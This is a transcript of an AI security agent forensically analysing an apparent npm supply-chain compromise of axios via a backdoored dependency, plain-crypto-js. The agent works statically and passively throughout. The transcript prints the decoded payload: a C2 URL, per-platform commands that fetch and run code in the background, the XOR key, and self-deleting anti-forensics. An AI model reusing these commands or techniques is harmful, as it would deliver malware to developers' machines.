Strix Logo
Strix
Mar 31, 2026

Axios npm Supply Chain Compromise — 1.14.1/0.30.4

@npmjs @GHSecurityLab there is an active supply chain attack on axios@1.14.1 which pulls in a malicious package published today - plain-crypto-js@4.2.1 - someone took over a maintainer account for Axios Skip to content Search Gists All gistsBack to GitHub Sign inSign up Instantly share code, notes, and snippets. joe-desimone/axios_compromise.md Secret Created 53 minutes ago CodeRevisions1 Clone this repository at &lt;script src=&quot;https://gist.github.com/joe-desimone/36061dabd2bc2513705e0d083a9673e7.js&quot;&gt;&lt;/script&gt; axios_compromise.md Summary The npm maintainer account jasonsaayman on the axios package has been compromised. The attacker has published malicious versions of axios and a new typosquat payload package plain-crypto-js. Two dist-tags currently point to compromised versions: latest -> 1.14.1 and legacy -> 0.30.4. Every npm install axios pulls the backdoored package. Immediate actions requested Unpublish axios@1.14.1 and axios@0.30.4 Unpublish plain-crypto-js (all versions: 4.2.0, 4.2.1) Lock the jasonsaayman npm account — credentials are compromised Restore the latest dist-tag to axios@1.14.0 (the last legitimate release) Restore the legacy dist-tag to axios@0.30.3 (the last legitimate 0.30.x release) Affected packages PackageVersionStatusaxios1.14.1Malicious — currently tagged latestaxios0.30.4Malicious — currently tagged legacyplain-crypto-js4.2.0, 4.2.1Malicious — payload delivery vehicle (postinstall backdoor)axios1.14.0Last known legitimate release (1.x line)axios0.30.3Last known legitimate release (0.30.x line) Evidence of account compromise The jasonsaayman maintainer email was changed from the legitimate jasonsaayman@gmail.com (visible on axios@1.14.0 and all prior versions) to ifstap@proton.me (visible on axios@1.14.1 and axios@0.30.4). axios@1.14.0 (legitimate — last good 1.x release): Published: 2026-03-27T19:01:40Z Published by: GitHub Actions via OIDC trusted publisher _npmUser: {"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"}} Has SLSA provenance attestations Dependencies: form-data, proxy-from-env, follow-redirects (no plain-crypto-js) axios@0.30.3 (legitimate — last good 0.30.x release): Published: 2026-02-18T17:19:20Z Published by: jasonsaayman / jasonsaayman@gmail.com Dependencies: form-data, proxy-from-env, follow-redirects (no plain-crypto-js) axios@1.14.1 (compromised): Published: 2026-03-31T00:21:58Z Published by: jasonsaayman / ifstap@proton.me — direct CLI publish, no OIDC, no provenance attestations Dependencies include plain-crypto-js@^4.2.1 (the only change from 1.14.0's dependency list) axios@0.30.4 (compromised): Published: 2026-03-31T01:00:57Z (~39 minutes after 1.14.1) Published by: jasonsaayman / ifstap@proton.me The ONLY difference from the legitimate 0.30.3 is: version bump and addition of plain-crypto-js@^4.2.1 to dependencies (all other files including bin/ssl_hotfix.js are byte-identical to 0.30.3) Technical analysis of the payload Delivery chain axios@1.14.1 or axios@0.30.4 declares plain-crypto-js@^4.2.1 as a dependency plain-crypto-js has "postinstall": "node setup.js" in its package.json setup.js is a heavily obfuscated multi-platform backdoor installer Decoded payload behavior (setup.js) The obfuscation uses XOR + base64 with the key "OrDeR_7077". Decoded strings reveal: C2 server: http://sfrclak.com:8000/ Campaign ID: 6202033 On macOS (darwin): Downloads a binary via curl to /Library/Caches/com.apple.act.mond (disguised as an Apple system daemon) POST body: packages.npm.org/product0 Makes executable (chmod 770) and runs in background via /bin/zsh Launched through osascript (AppleScript) for process-tree evasion On Windows (win32): Copies PowerShell to %PROGRAMDATA%\wt.exe (masquerading as Windows Terminal) Creates a VBScript (.vbs) that: Downloads a .ps1 payload from the C2 Runs it hidden: wt.exe -w hidden -ep bypass -file <payload>.ps1 Deletes the .ps1 after execution Launches VBScript silently via cscript //nologo, then deletes it On Linux (fallback): Downloads curl -o /tmp/ld.py from the C2 Runs python3 /tmp/ld.py in background via nohup Anti-forensics: setup.js deletes itself after execution Renames package.md to package.json, overwriting the malicious package.json (with the postinstall hook) with a clean copy, so post-incident inspection of node_modules/plain-crypto-js/package.json will not show the trigger Decoded string table from setup.js stq[0]: "child_process" stq[1]: "os" stq[2]: "fs" stq[3]: "http://sfrclak.com:8000/" stq[5]: "win32" stq[6]: "darwin" stq[7]: VBScript payload (Windows attack vector) stq[8]: "cscript \"LOCAL_PATH\" //nologo && del \"LOCAL_PATH\" /f" stq[9]: AppleScript payload (macOS attack vector) stq[10]: "nohup osascript \"LOCAL_PATH\" > /dev/null 2>&1 &" stq[12]: Linux curl + python3 payload stq[13]: "package.json" stq[14]: "package.md" stq[15]: ".exe" stq[16]: ".ps1" stq[17]: ".vbs" Impact axios is the #4 most downloaded npm package, with approximately 60 million weekly downloads. The compromised version 1.14.1 is currently the latest tag, and 0.30.4 is tagged legacy. Any CI/CD pipeline, developer workstation, or production deployment running npm install with axios as a direct or transitive dependency since 2026-03-31T00:21:58Z may have executed the stage-2 payload. Timeline (all times UTC) TimeEvent2026-02-18T17:19:20Zaxios@0.30.3 published legitimately by jasonsaayman@gmail.com2026-03-27T19:01:40Zaxios@1.14.0 published legitimately via GitHub Actions OIDC2026-03-31 (exact time unknown)plain-crypto-js@4.2.0 and 4.2.1 published (brand-new package, attacker-controlled, first publish date March 30/31, 2026)2026-03-31T00:21:58Zaxios@1.14.1 published by compromised jasonsaayman account with email ifstap@proton.me (becomes latest tag)2026-03-31T01:00:57Zaxios@0.30.4 published by same compromised account (tagged as legacy) Current dist-tags latest: 1.14.1 (COMPROMISED) legacy: 0.30.4 (COMPROMISED) old-version: 0.30.0 (legitimate) next: 1.7.0-beta.2 (legitimate) Recommendations Unpublish axios@1.14.1, axios@0.30.4, and all versions of plain-crypto-js immediately Lock the jasonsaayman npm account pending investigation Restore latest dist-tag to axios@1.14.0 Restore legacy dist-tag to axios@0.30.3 Notify the other axios maintainers (mzabriskie, nickuraltsev, emilyemorehouse) Issue a security advisory for downstream consumers Report sfrclak.com to its registrar/hosting provider for C2 takedown Thank you for your urgent attention. to join this conversation on GitHub. Already have an account? Sign in to comment Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information dig deep clone these public repos safetly etc look at commit hisotry everything anaalyze the breach + scope + how

Agent is thinking

Let me think carefully about what's being asked here.

The user is sharing what appears to be a GitHub Gist describing a supply chain attack on the axios npm package. They want me to:

  1. Clone public repos safely
  2. Look at commit history
  3. Analyze the breach, its scope, and how it was executed

This is a legitimate security research task - analyzing a supply chain attack. The dates mentioned (2026-03-31) suggest this might be a very recent event.

Key things to investigate:

  • axios GitHub repo and commit history
  • plain-crypto-js npm package
  • The setup.js payload (static analysis only)
  • npm registry metadata for affected packages
  • C2 server: sfrclak.com (do NOT connect to it)

I should:

  1. Search for current info about this incident
  2. Fetch npm registry metadata for axios@1.14.1 and plain-crypto-js
  3. Download and statically analyze the package tarballs
  4. Look at the axios GitHub repo commits
  5. Diff 1.14.0 vs 1.14.1 package.json
  6. Decode/analyze the setup.js payload

I should NOT:

  • Execute any malicious code
  • Connect to sfrclak.com (C2 server)
  • Run npm install with the malicious packages

Let me plan the investigation: Phase 1: OSINT/Web search for current status Phase 2: npm registry metadata analysis Phase 3: Package tarball download and static analysis
Phase 4: GitHub repo commit history analysis Phase 5: Payload decoding (XOR + base64 with key "OrDeR_7077") Phase 6: Scope assessment

This is purely defensive security research - analyzing a known malicious package to understand the attack.

This is a serious supply chain incident. Let me do a thorough forensic analysis — NPM registry metadata, tarball static analysis, GitHub commit history, and payload decoding — all without executing anything malicious.

Task added
Web search: current status of axios supply chain incident
Fetch npm registry metadata for axios@1.14.1, axios@0.30.4, plain-crypto-js
Download and statically diff tarballs: axios@1.14.0 vs 1.14.1, axios@0.30.3 vs 0.30.4
Download plain-crypto-js tarballs and statically analyze setup.js payload
Decode XOR+base64 obfuscation (key: OrDeR_7077) from setup.js
Analyze axios GitHub repository commit history around 2026-03-31
OSINT on sfrclak.com C2 server (passive only, no connections)
OSINT on ifstap@proton.me attacker email
Assess total scope/blast radius of the compromise
Compile full forensic report
Searching the web
axios npm supply chain attack 2026 plain-crypto-js malicious package jasonsaayman account compromise

The search results provided do not contain specific information about an axios npm supply chain attack involving plain-crypto-js, a malicious package, or a jasonsaayman account compromise.

The search results do discuss CVE-2026-25639, which is a Denial-of-Service vulnerability in the Axios package itself[5][8][9], not a supply chain attack. This vulnerability allows attackers...

However, the broader npm ecosystem has experienced significant supply chain attacks during 2025-2026:

  • UNC6426 exploited the nx npm supply chain compromise in August 2025, using stolen GitHub tokens and OIDC trust abuse to breach AWS environments[1]
  • Shai-Hulud attacks infected over 500 npm packages in September 2025, with the "qix" compromise affecting major packages like chalk and debug with cryptocurrency wallet-targeting malware[3]
  • Over 180 malicious npm packages were detected spreading malware across developer environments in 2025-2026[2]
  • PhantomRaven affected 126+ packages with over 86,000 downloads as of October 2025[7]

To obtain specific details about the plain-crypto-js package compromise and jasonsaayman account compromise you're referencing, you would need to search security advisories, CVE databases, or speci...

Searching the web
axios 1.14.1 npm malicious backdoor supply chain attack plain-crypto-js postinstall</thinking>

The search results provided do not contain information about a malicious backdoor in axios 1.14.1, a "plain-crypto-js" supply chain attack, or postinstall script vulnerabilities related to axios.

Based on the available search results, the latest version of axios is 1.14.0, which shows no known security issues according to Snyk's vulnerability database[4][5]. The documented vulnerabi...

  • CVE-2025-58754: Memory exhaustion in versions prior to 1.11.0 via data URI handling[1]
  • CVE-2025-27152: SSRF and credential leakage in versions 1.0.0-1.8.1[2]
  • CVE-2023-45857: CSRF vulnerability in versions ≤0.29.0 or 1.0.0-1.8.1[2]

To properly assess your query about a specific axios 1.14.1 supply chain attack involving "plain-crypto-js" and postinstall scripts, I would need search results that specifically address this incid...

  • Checking the official axios GitHub repository security advisories
  • Searching npm audit databases or CVE registries for recent axios supply chain incidents
  • Consulting security vendor threat intelligence (Snyk, WhiteSource, or Sonatype) for any advisories issued after the latest documented versions
  • Verifying the exact npm package name and version through npm view axios to confirm if version 1.14.1 exists

If you have specific details about when or where this attack was reported, I can provide more targeted analysis.

Web search doesn't have it yet — this is breaking. Let me go directly to the npm registry API and GitHub to pull the raw evidence.

Terminal
mkdir -p /workspace/axios-forensics/{registry,tarballs,extracted,analysis} && echo "workspace ready"
workspace ready
Terminal
cd /workspace/axios-forensics && curl -s https://registry.npmjs.org/axios | python3 -c "
import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})

print('=== DIST-TAGS ===')
for tag, ver in dist_tags.items():
    print(f'  {tag}: {ver}')

print()
print('=== RECENT VERSIONS (last 10 publish times) ===')
sorted_times = sorted([(k,v) for k,v in time_data.items() if k not in ('created','modified')], key=lambda x: x[1], reverse=True)
for ver, ts in sorted_times[:10]:
    print(f'  {ver}: {ts}')

print()
print('=== axios@1.14.0 maintainers/published-by ===')
v1140 = versions.get('1.14.0', {})
import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})

CONFIRMED LIVE. Both compromised versions are still tagged latest and legacy. Now pulling plain-crypto-js registry data and downloading all tarballs.

Terminal
cd /workspace/axios-forensics && curl -s https://registry.npmjs.org/plain-crypto-js | python3 -c "
import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})

print('=== plain-crypto-js DIST-TAGS ===')
for tag, ver in dist_tags.items():
    print(f'  {tag}: {ver}')

print()
print('=== ALL VERSIONS + PUBLISH TIMES ===')
for ver, ts in sorted(time_data.items()):
    print(f'  {ver}: {ts}')

print()
for v in versions:
    vdata = versions[v]
    print(f'=== plain-crypto-js@{v} ===')
import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})

New finding — the payload package was published by nrwise@proton.me, a separate attacker account. Two distinct attacker identities. Now downloading all tarballs for static analysis.

Terminal
cd /workspace/axios-forensics/tarballs && \
curl -s -o plain-crypto-js-4.2.0.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.0.tgz && \
curl -s -o plain-crypto-js-4.2.1.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz && \
curl -s -o axios-1.14.0.tgz https://registry.npmjs.org/axios/-/axios-1.14.0.tgz && \
curl -s -o axios-1.14.1.tgz https://registry.npmjs.org/axios/-/axios-1.14.1.tgz && \
curl -s -o axios-0.30.3.tgz https://registry.npmjs.org/axios/-/axios-0.30.3.tgz && \
curl -s -o axios-0.30.4.tgz https://registry.npmjs.org/axios/-/axios-0.30.4.tgz && \
echo "DOWNLOADS DONE:" && ls -lh *.tgz
curl -s -o plain-crypto-js-4.2.0.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.0.tgz && \
curl -s -o plain-crypto-js-4.2.1.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz && \
curl -s -o axios-1.14.0.tgz https://registry.npmjs.org/axios/-/axios-1.14.0.tgz && \
curl -s -o axios-1.14.1.tgz https://registry.npmjs.org/axios/-/axios-1.14.1.tgz && \
curl -s -o axios-0.30.3.tgz https://registry.npmjs.org/axios/-/axios-0.30.3.tgz && \
curl -s -o axios-0.30.4.tgz https://registry.npmjs.org/axios/-/axios-0.30.4.tgz && \
Terminal
cd /workspace/axios-forensics && \
mkdir -p extracted/{plain-crypto-js-4.2.0,plain-crypto-js-4.2.1,axios-1.14.0,axios-1.14.1,axios-0.30.3,axios-0.30.4} && \
for pkg in plain-crypto-js-4.2.0 plain-crypto-js-4.2.1 axios-1.14.0 axios-1.14.1 axios-0.30.3 axios-0.30.4; do
  tar -xzf tarballs/${pkg}.tgz -C extracted/${pkg}/ 2>&1 && echo "extracted: ${pkg}"
done
mkdir -p extracted/{plain-crypto-js-4.2.0,plain-crypto-js-4.2.1,axios-1.14.0,axios-1.14.1,axios-0.30.3,axios-0.30.4} && \
for pkg in plain-crypto-js-4.2.0 plain-crypto-js-4.2.1 axios-1.14.0 axios-1.14.1 axios-0.30.3 axios-0.30.4; do
  tar -xzf tarballs/${pkg}.tgz -C extracted/${pkg}/ 2>&1 && echo "extracted: ${pkg}"
done
extracted: plain-crypto-js-4.2.0
extracted: plain-crypto-js-4.2.1
Terminal
cd /workspace/axios-forensics && echo "=== plain-crypto-js-4.2.1 FILE LISTING ===" && find extracted/plain-crypto-js-4.2.1 -type f | sort && echo "" && echo "=== plain-crypto-js-4.2.0 FILE LISTING ===" && find extracted/plain-crypto-js-4.2.0 -type f | sort
=== plain-crypto-js-4.2.1 FILE LISTING ===
extracted/plain-crypto-js-4.2.1/package/CONTRIBUTING.md
extracted/plain-crypto-js-4.2.1/package/LICENSE
extracted/plain-crypto-js-4.2.1/package/README.md
extracted/plain-crypto-js-4.2.1/package/aes.js
extracted/plain-crypto-js-4.2.1/package/blowfish.js
Agent is thinking

Key observations:

  1. plain-crypto-js@4.2.1 has setup.js and package.md - the malicious version
  2. plain-crypto-js@4.2.0 does NOT have setup.js or package.md - it's the "clean" initial version (but still attacker-controlled)
  3. The package appears to be a rip-off of crypto-js (the legitimate package) - all the same files

Now I need to:

  1. Read the setup.js (the malicious payload)
  2. Read the package.json files for both versions to compare
  3. Diff the two versions of plain-crypto-js
  4. Diff the axios versions

Let me read setup.js first - this is the key payload.

4.2.1 has setup.js + package.md (the self-destruct rename trick) — 4.2.0 does not. Now reading the actual payload.

view...orensics/extracted/plain-crypto-js-4.2.1/package/setup.js

Now I have the full obfuscated payload. Let me write a complete decoder to reconstruct all decoded strings.

Pythonnew session
import base64
import json

# The stq array from setup.js
stq = [
    "_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx",
    "__gvELKx",
    "__gvEvKx",
    "iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx",
    "",
    "__wvF7bxkSMpErLx",
    "jSMpErLx4SMrEnKx",
    "_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bxtWcoF/axsSsoF3axvWMqFXIxZSMjE3JxSScmE3JxvW8rFraxhSMqEnKxtW8qFraxvW8rFbIxESMhEHIxSS8nE7IxZS8rF/axtWMqF/axFScmEzIxdSclE7JxdS8rFjaxtWMqEHKxkS8qEfaxtWsvE7LxrScvETLxvScrF3LxvSMoF3axjS8rEnKxpSMpEXKxtWcvEDaxtW8rFjaxUS8nEzIxDSMhEjIxSSsnE3JxoW8rF3axrWcrF/axoWchEnJxMSsmELJxeScnE/axvWsqFPbxtW8rFjaxGS8gETIxBSskEjJxOSsnE/axoWcrF/axvWMvFnLxpSMuEnKxiSMuE3LxiWsqE/LxiSMpFDKx9S8oETax+SMqErKxsSspEnKxsScvE/axoWcrFnKxgWcrFnJxZSsgE3JxtWskEDaxtWsvEDaxtWspE/Lx4SsrEraxuSsoF3axoSctE/KxjWcqEDKxpS8rF3axjSMuE/JxkWcoEHKxoSsoE7JxnS8rELKxtWsqF3axtW8hFPaxvWcoEHKxoScpEnJxjWcuE3LxjS8vE7KxeSsmE/axiWcuE7KxoSMoE/KxCSMqEnLxsS8rE/LxOScrFfbxtWcoEHKxoScpEnJxnS8rELKxqWcuEjKxeScrF3axqWcrFfYx",
    "_sKxiWcrFjaxFScmEzIxdSskEbIxMSsjELIxGS8rF3axhSMqEnKxqW8qFvaxtWcpErKxiScoELKxjScpFLaxtW8rFLIxZSMjE3JxSScgEvIxOSsgEHIxoWcrFnLx9SMpE/LxpSsvE7Kx",
    "__wrFLIxZSMjE3JxSScgEvIxOSsgEHIxqW8qE/LxgWcrFDKx4S8rF3ax5SsuETKx/SsrE7LxtWspEHKxoScpEnLxtWsoEnKxtWcrFraxtW8hFTLx4ScuE3axpS8oEjKxqWcrF3axtWsqF3axtWcrFfYxvWspEHKx4S8oEXax7SMqEnKxiWcrFTbxrWcrF/axWS8qF3axvWcrFvaxqWsvE3axrWsqF/axtW8rF3axrWsqFnKxtW8qFraxvW8rFHJxtWsrEfaxtWcpE7LxwSsoFPKxkS8rELaxqW8qFvaxtWMqF3axrWcrFnKxtWMrF3axvWcrFrbx6WsuF3axpSsoEfKxlSsrE3axsW8qF3axvWcrFvaxqWsvE3axrWsqF/axtWsvEDaxtWMqF3axrWcrFjax9WcuE7Kx4ScqEXKx/ScvELaxtS8vELKxjWMoE3LxkS8oF7LxoScrEzKxmSsrEzKx9SsqFnKxgWcrFjaxtW8qF3axsScrFzaxtWcqE3axsWcrF/axtWsoEDaxqWcoE/Lx4ScqE/axtWcuE3LxkSMuE7Kx+ScrFbKxhSMqEXKx+ScrFXKxpScrF3axqWcrF3axtWcrF3axqWcrF3axtWMgFTLx/ScuE3axtWsqF3axtWcrFraxtW8hFDLxvWcqETKxiSMoEPax+SsrEzKxjWMqEHKx6ScvEzKxjW8pELKxuSsoF7LxoSsoE7KxsSsjEXax0S8vEzKx/S8rEPKxBSsoF/axqWcoF/axGS8gETIxGSskE/JxOScmE/axtWcoF/axvWcsE3axiScuEraxwScqE3axhWsvEraxhWMrEbLxqWcuEjKx+ScrF3axqWcrFfYx",
    "__wqF3ax8W8qFTbx/WcrFHKxmSMuEPKxiW8uEjKxuSsoF3axzWsqF/axFScmEzIxdSclEHIxMSsjEXIxBS8rF3ax5ScvEPKx/SsrE7LxrSsvELKxtWcvEjLxiSsoEPKx",
    "",
    "_saxtW8uFvaxzW8vFraxhScoEjLxjSsoFzLxoScqELaxqW8sF3axGS8gETIxGSskE/JxOScmE3ax0ScvEPaxpSspELax9SMoE7LxiWcrF7bxjSsoELKx5SMtE3LxqWcvEjLxlSsoEPKxqW8qFvaxtWcgEPIxEScgELJxfSciE7JxtWsvEfaxtW8vFnLxuSMuE7KxiS8vE3LxlWsqE/LxiS8oFDKx6S8oEPax+S8rErKxsSspE7KxsSsuE3axpSMoFrax0ScvEPaxpScoEXax9SMoEnLxlWcrFLKxgWcrFHKx4SMuE7Kx",
    "jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx",
    "_kKxnS8oFjKxqSMrEbKxpSMrE3Lx",
=== DECODED STQ STRINGS ===
stq[ 0]: 'child_process'
stq[ 1]: 'os'
stq[ 2]: 'fs'
stq[ 3]: 'http://sfrclak.com:8000/'
stq[ 4]: (empty)
Agent is thinking

Excellent! The full string table is now decoded. Let me analyze what we have:

stq[0]: 'child_process' - require('child_process') stq[1]: 'os' - require('os') stq[2]: 'fs' - require('fs') stq[3]: 'http://sfrclak.com:8000/' - C2 server URL stq[5]: 'win32' - Windows platform check stq[6]: 'darwin' - macOS platform check stq[7]: Windows VBScript payload - downloads from C2 via curl POST with data "packages.npm.org/product1", saves to PS_PATH, executes via wt.exe (masked PowerShell), then cleans up stq[8]: 'cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f' - how to run/cleanup the VBScript stq[9]: macOS AppleScript payload - curl POST to C2 with data "packages.npm.org/product0", saves to /Library/Caches/com.apple.act.mond, chmod 770, runs via /bin/zsh stq[10]: 'nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &' - how to run the AppleScript stq[12]: Linux payload - 'curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &' stq[13]: 'package.json' - file to rename to (anti-forensics) stq[14]: 'package.md' - clean package.json stored as package.md stq[15]: '.exe' stq[16]: '.ps1' stq[17]: '.vbs'

Also interesting: The _entry function has the variable:

  • E = atob("TE9DQUw^") + atob("X1BBVEg^") = "LOCAL_PATH" (local path placeholder)
  • S = atob("UFM_") + atob("X1BBVEg_") = "PS_PATH" (PowerShell path placeholder)
  • a = atob("U0NSXw--") + atob("TElOSw))") = "SCR_LINK" (C2/script link)
  • c = atob("UFNfQg--") + atob("SU5BUlk*") = "PS_BINARY" (PowerShell binary path)
  • s = atob("d2hlcmUgcG93ZXJzaGVsbA((") = 'where powershell' (to find powershell path)

The campaign ID "6202033" is passed as x to _entry and becomes part of the URL:

Wait, let me look more carefully:

Wait, but the stq[3] entry decodes to "http://sfrclak.com:8000/" and x = "6202033". But looking at the code more carefully:

q = _trans_2(stq[3], ord) + x

So q = "http://sfrclak.com:8000/" + "6202033" = "http://sfrclak.com:8000/6202033"

But wait, looking at the platform-specific blocks:

  • macOS: S is set to "SCR_LINK", then S.replaceAll(a, q) and S.replaceAll(E, r) - wait let me re-read

Actually looking at the decoded strings more carefully:

  • stq[9] contains "SCR_LINK" and "LOCAL_PATH" as placeholders
  • These get replaced with the actual C2 URL and local file path

For macOS: The binary gets downloaded to /Library/Caches/com.apple.act.mond (disguised as Apple daemon) For Windows: PowerShell copied to %PROGRAMDATA%\wt.exe, VBScript downloads .ps1 from C2 For Linux: Python script downloaded to /tmp/ld.py from C2

Key insight from stq[7] Windows payload: it uses POST method with curl, and the POST body data is "packages.npm.org/product1" - this looks like the campaign identifier for the download. The server uses this to determine what payload to send.

The C2 URL structure:

  • http://sfrclak.com:8000/6202033 is SCR_LINK
  • POST data: "packages.npm.org/product0" (macOS), "packages.npm.org/product1" (Windows), "packages.npm.org/product2" (Linux)

Now let me also decode the base64 strings in the _entry function to understand the full variable substitution.

Full string table decoded. Now decoding the inline atob() variables in _entry and reconstructing the fully assembled payloads.

Python
import base64

# Decode the atob() inline variables from _entry()
def atob(s):
    # Replace padding-substitute chars and decode
    return base64.b64decode(s + '==').decode('utf-8', errors='replace').rstrip('\x00')

# From the code:
# E = atob("TE9DQUw^".replaceAll("^","=")) + atob("X1BBVEg^".replaceAll("^","="))
E = base64.b64decode("TE9DQUw=").decode() + base64.b64decode("X1BBVEg=").decode()

# S = atob("UFM_".replaceAll("_","=")) + atob("X1BBVEg_".replaceAll("_","="))
S = base64.b64decode("UFS=").decode() + base64.b64decode("X1BBVEg=").decode()
# Wait, "UFM_" -> "UFM=" -> base64 decode
S = base64.b64decode("UFM=").decode() + base64.b64decode("X1BBVEg=").decode()

# a = atob("U0NSXw--".replaceAll("-","=")) + atob("TElOSw))".replaceAll(")","="))
a = base64.b64decode("U0NSXw==").decode() + base64.b64decode("TElOSw==").decode()

# c = atob("UFNfQg--".replaceAll("-","=")) + atob("SU5BUlk*".replaceAll("*","="))
Variable substitution map:
  E (LOCAL_PATH placeholder) = 'LOCAL_PATH'
  S (PS_PATH placeholder)    = 'PS_PATH'
  a (SCR_LINK placeholder)   = 'SCR_LINK'
  c (PS_BINARY placeholder)  = 'PS_BINARY'
  s (shell cmd find PS)      = 'where powershell'

Full payloads reconstructed. Now diffing the axios versions and analyzing the package.json tampering + anti-forensics trick.

Terminal
cd /workspace/axios-forensics && echo "=== DIFF: axios 1.14.0 vs 1.14.1 package.json ===" && diff \
  extracted/axios-1.14.0/package/package.json \
  extracted/axios-1.14.1/package/package.json

echo ""
echo "=== DIFF: axios 0.30.3 vs 0.30.4 package.json ===" && diff \
  extracted/axios-0.30.3/package/package.json \
  extracted/axios-0.30.4/package/package.json
extracted/axios-1.14.0/package/package.json \
  extracted/axios-1.14.1/package/package.json
=== DIFF: axios 1.14.0 vs 1.14.1 package.json ===
3c3
<   "version": "1.14.0",
---
Terminal
cd /workspace/axios-forensics && echo "=== FULL FILE DIFF axios 1.14.0 vs 1.14.1 (all files) ===" && diff -rq \
  extracted/axios-1.14.0/package/ \
  extracted/axios-1.14.1/package/ 2>&1

echo ""
echo "=== FULL FILE DIFF axios 0.30.3 vs 0.30.4 (all files) ===" && diff -rq \
  extracted/axios-0.30.3/package/ \
  extracted/axios-0.30.4/package/ 2>&1
extracted/axios-1.14.0/package/ \
  extracted/axios-1.14.1/package/ 2>&1
=== FULL FILE DIFF axios 1.14.0 vs 1.14.1 (all files) ===

Files extracted/axios-1.14.0/package/package.json and extracted/axios-1.14.1/package/package.json differ

Confirmed minimal surgical diff — the ONLY change in both compromised axios versions is package.json (version bump + plain-crypto-js dependency injection). Every other file is byte-identical to the legitimate release. Now analyzing the anti-forensics package.md trick and doing comprehensive checksums.

Terminal
cd /workspace/axios-forensics && echo "=== plain-crypto-js 4.2.0 vs 4.2.1 diff ==="
diff -rq extracted/plain-crypto-js-4.2.0/package/ extracted/plain-crypto-js-4.2.1/package/ 2>&1

echo ""
echo "=== package.json (MALICIOUS - 4.2.1 with postinstall) ==="
cat extracted/plain-crypto-js-4.2.1/package/package.json

echo ""
echo "=== package.md (CLEAN DECOY - what replaces package.json post-execution) ==="
cat extracted/plain-crypto-js-4.2.1/package/package.md

echo ""
echo "=== package.json (4.2.0 - no postinstall) ==="
cat extracted/plain-crypto-js-4.2.0/package/package.json
=== plain-crypto-js 4.2.0 vs 4.2.1 diff ===
Files extracted/plain-crypto-js-4.2.0/package/package.json and extracted/plain-crypto-js-4.2.1/package/package.json differ
Only in extracted/plain-crypto-js-4.2.1/package/: package.md
Only in extracted/plain-crypto-js-4.2.1/package/: setup.js

Agent is thinking

Key findings from the anti-forensics trick:

  1. package.md (the decoy clean package.json) has version "4.2.0" and NO "scripts" section with postinstall
  2. After execution, setup.js:
    • Deletes itself (fs.unlink(__filename))
    • Deletes package.json (fs.unlink('package.json'))
    • Renames package.md to package.json (fs.rename('package.md', 'package.json'))
  3. Result: An incident responder looking at node_modules/plain-crypto-js/package.json will see a clean version "4.2.0" package with no postinstall script and no setup.js

Also interesting: The package.md decoy says version "4.2.0" (not 4.2.1), so it looks like the benign 4.2.0 version.

Now let me:

  1. Do OSINT on sfrclak.com (passive only - whois, DNS, threat intel)
  2. Check download statistics for the compromised packages
  3. Check the axios GitHub repository for commit evidence
  4. Look at plain-crypto-js on GitHub to understand the setup

Let me also check SHA1 checksums to verify integrity.

Now doing passive OSINT on the C2 domain and checking download stats.

Terminal
echo "=== WHOIS: sfrclak.com ===" && whois sfrclak.com 2>&1 | head -60
echo ""
echo "=== DNS RECORDS: sfrclak.com ===" && dig sfrclak.com ANY +noall +answer 2>&1
echo "" && dig sfrclak.com A +short 2>&1
echo "" && dig sfrclak.com MX +short 2>&1
echo "" && dig sfrclak.com NS +short 2>&1
=== WHOIS: sfrclak.com ===

   Domain Name: SFRCLAK.COM
   Registry Domain ID: 3082352565_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.namecheap.com
   Registrar URL: http://www.namecheap.com

C2 domain registered ~8 hours before the malicious plain-crypto-js@4.2.0 was published — classic attack prep timing. IP 142.11.206.73. Now checking the IP geolocation and ARIN data, then download stats.

Terminal
echo "=== IP INTEL: 142.11.206.73 ===" && curl -s https://ipinfo.io/142.11.206.73/json 2>&1
echo ""
echo "=== REVERSE DNS ===" && dig -x 142.11.206.73 +short 2>&1
echo ""
echo "=== WHOIS IP ===" && whois 142.11.206.73 2>&1 | grep -E "(NetName|OrgName|Country|CIDR|Organization|descr|inetnum|netname|address|aut-num)" | head -20
=== IP INTEL: 142.11.206.73 ===

{
  "ip": "142.11.206.73",
  "hostname": "client-142-11-206-73.hostwindsdns.com",
  "city": "Dallas",
Terminal
# Check npm download stats for the compromised packages
echo "=== npm downloads: axios (last week) ==="
curl -s "https://api.npmjs.org/downloads/point/last-week/axios" 2>&1

echo ""
echo "=== npm downloads: plain-crypto-js (last month) ==="
curl -s "https://api.npmjs.org/downloads/point/last-month/plain-crypto-js" 2>&1

echo ""
echo "=== npm downloads: axios last-day ==="
curl -s "https://api.npmjs.org/downloads/point/last-day/axios" 2>&1

echo ""
echo "=== npm downloads: axios by version range (since compromise) ==="
curl -s "https://api.npmjs.org/downloads/range/2026-03-31:2026-03-31/axios" 2>&1
=== npm downloads: axios (last week) ===

{"downloads":100340121,"start":"2026-03-23","end":"2026-03-29","package":"axios"}[STRIX_0]$

=== npm downloads: plain-crypto-js (last month) ===
{"error":"package plain-crypto-js not found"}[STRIX_0]$
Agent is thinking

Key findings:

  1. plain-crypto-js download stats return "package not found" from the downloads API - this could mean:

